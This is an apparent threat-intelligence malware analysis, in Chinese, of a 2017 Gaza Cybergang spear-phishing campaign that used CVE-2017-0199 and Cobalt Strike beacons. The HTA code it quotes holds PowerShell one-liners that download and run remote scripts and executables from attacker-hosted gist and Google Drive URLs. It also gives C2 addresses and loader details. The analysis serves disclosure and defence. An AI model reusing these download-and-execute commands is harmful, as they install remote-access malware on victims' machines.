事件背景
2017年6月下旬, 360威胁情报中心发现了Gaza Cybergang APT事件的新样本,其特点是恶意代码完全使用网上流行的标准攻击框架Cobalt Strike生成,配合CVE-2017-0199漏洞通过鱼叉邮件投递,本文档对并对此次攻击事件的攻击链条进行梳理,并对使用的木马相关技术进行分析。
样本分析
该文档所利用的漏洞为CVE-2017-0199,该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, URL Moniker通过识别响应头中content-type的字段信息最后调用mshta.exe将下载到的HTA文件执行起来。
可以看到下载地址为http://138[.]68.242.68:820/word.hta
Hta的代码如下:
<script>
a=new ActiveXObject('WScript.Shell');
a.run('%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -nop -c "iex(New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1')"', 0, true);
window.close();
</script>
其会启用powershell去下载https://gist[.]githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1
1.ps1其实也是一个downloader,从https://drive[.]google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU下载一个PE文件并保存为%appdata%目录下的ps.exe。
powershell.exe -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://drive.google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU',"$env:APPDATAps.exe");Start-Process ("$env:APPDATAps.exe")
ps.exe是一个sfx文件,解压出来notepad.exe是一个dropper,其会在temp目录释放一个powershell脚本,然后以"C:WINDOWSsystem32WindowsPowerShellv1.0powershell.exe" -noProfile -ExecutionPolicy Bypass -File "C:Documents and SettingsAdministratorLocal SettingsTemp3A.tmp3B.ps1"执行该脚本。
Powershell脚本的功能也非常简单,将内置的字符串base64decode后,得到一个PE文件(beacon_dll.dll),然后CreateThread一个新线程,将这个dll加载起来。
beacon_dll.dll是使用cobalt strike攻击框架生成的标准攻击载荷。其使用了一种叫做Reflective Load的技术,也就是在PE头部插入shellcode并实现一个模拟加载dll的导出函数,在shellcode中调用该导出函数将自身加载进来,并以fdwReason = 4来调用DllMain,这样做的好处有两个:
可以直接将dll当成shellcode加载注入到内存中从MZ头开始执行;
正常地加载dll不会执行到功能流程(因为在MSDN中指明了fdwReason的值只能为0、1、2、3)。
MZ头部的shellcode如下:
实现自加载的导出函数的校验PE头部分代码:
DllMain中代码:
可以看到,只有在fdwReason == 4时才会进入真正的功能流程,进入该流程后,首先将数据节偏移为 0x2E040,大小为 0x610的数据解密,解密方式是xor 0x69, 解密出的数据中包含了C&C, lol[.]mynetav.org。
然后开始连接C&C服务器,这里支持dns_text,http,smb,tcp等多种协议的通信方式:
最后进入的就是远控功能部分了,由于是Cobalt Strike生成的标准载荷,功能包括显示应用信息、显示机器的凭证信息,文件下载,查看事件日志,键盘记录,获取代理信息,屏幕截图,加载脚本等等.. 具体功能就不再分析了。
扩展与关联分析
使用360威胁情报中心的威胁情报平台(http://ti.360.com )对样本连接的C&C地址(138.68.242.68)做进一步关联,发现了一个新的样本:
该样本与上面提到的样本几乎完全一致,只是连接的url变成了http://138[.]68.242.68:808/word.hta
另外我们发现lol.mynetav.org解析到的ip地址就是138.68.242.68,并且有一个域名ksm5sksm5sksm5s.zzux.com也解析到了这个ip上,而ksm5sksm5sksm5s.zzux.com这个域名,是Gaza Cybergang攻击事件(Gaza Cybergang APT活动是在2015年9月被Kaspersky公开揭露出来的一个APT组织,最早的活动可以追溯到2012年。相关行动的主要使用的攻击方式:鱼叉邮件,涉及行业:政治,受影响国家:埃及、阿联酋、也门)的其中一个C&C。 综合上面提到的文档标题、内容和来源,我们认为这次事件应该是Gaza Cybergang APT活动的又一次攻击活动。
IOC